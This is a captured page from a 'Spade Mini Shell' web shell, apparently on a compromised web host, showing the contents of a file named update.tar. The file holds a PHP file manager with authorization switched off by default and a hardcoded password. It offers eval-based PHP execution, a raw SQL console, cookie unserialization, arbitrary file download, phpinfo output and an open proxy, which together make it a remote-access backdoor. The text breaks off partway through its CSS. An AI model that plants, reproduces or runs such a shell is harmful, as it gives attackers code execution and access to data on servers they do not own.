Spade

Mini Shell

Directory:~$ /proc/self/root/home/lmsyaran/www/pusher/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ //proc/self/root/home/lmsyaran/www/pusher/update.tar

nf.php000064400000235217151167306020005673 0ustar00<?php
/* PHP File manager ver 1.5 */

// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"en","Add":"Add","Are
you sure you want to delete this directory (recursively)?":"Are
you sure you want to delete this directory (recursively)?","Are
you sure you want to delete this file?":"Are you sure you want to
delete this
file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error
occurred":"Error occurred","File
manager":"File manager","File selected":"File
selected","File updated":"File
updated","Filename":"Filename","Files
uploaded":"Files
uploaded","French":"French","Generation
time":"Generation
time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make
directory":"Make
directory","Name":"Name","New":"New","New
file":"New file","no files":"no
files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset
settings":"Reset settings","Restore file time after
editing":"Restore file time after
editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select
the file":"Select the
file","Settings":"Settings","Show":"Show","Show
size of the folder":"Show size of the
folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found
in files":"Found in
files","Search":"Search","Recursive
search":"Recursive
search","Mask":"Mask"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0; 
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size →
maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string =
str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val,
true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" .
basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return
round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return
round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
	<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
		<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
		<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
		<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
		<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
		<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return
'<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path  . '\'"';
    return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
	if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return =
!empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post"
action="'.fm_url().'"
style="display:inline">
				<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link,
'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
 cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value"  cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) &&
isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password"
type="password">&nbsp;&nbsp;&nbsp;
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
		header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
	$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy"
value="true">
	'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
	<input type="submit"
value="'.__('Show').'"
class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
		$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width,
initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

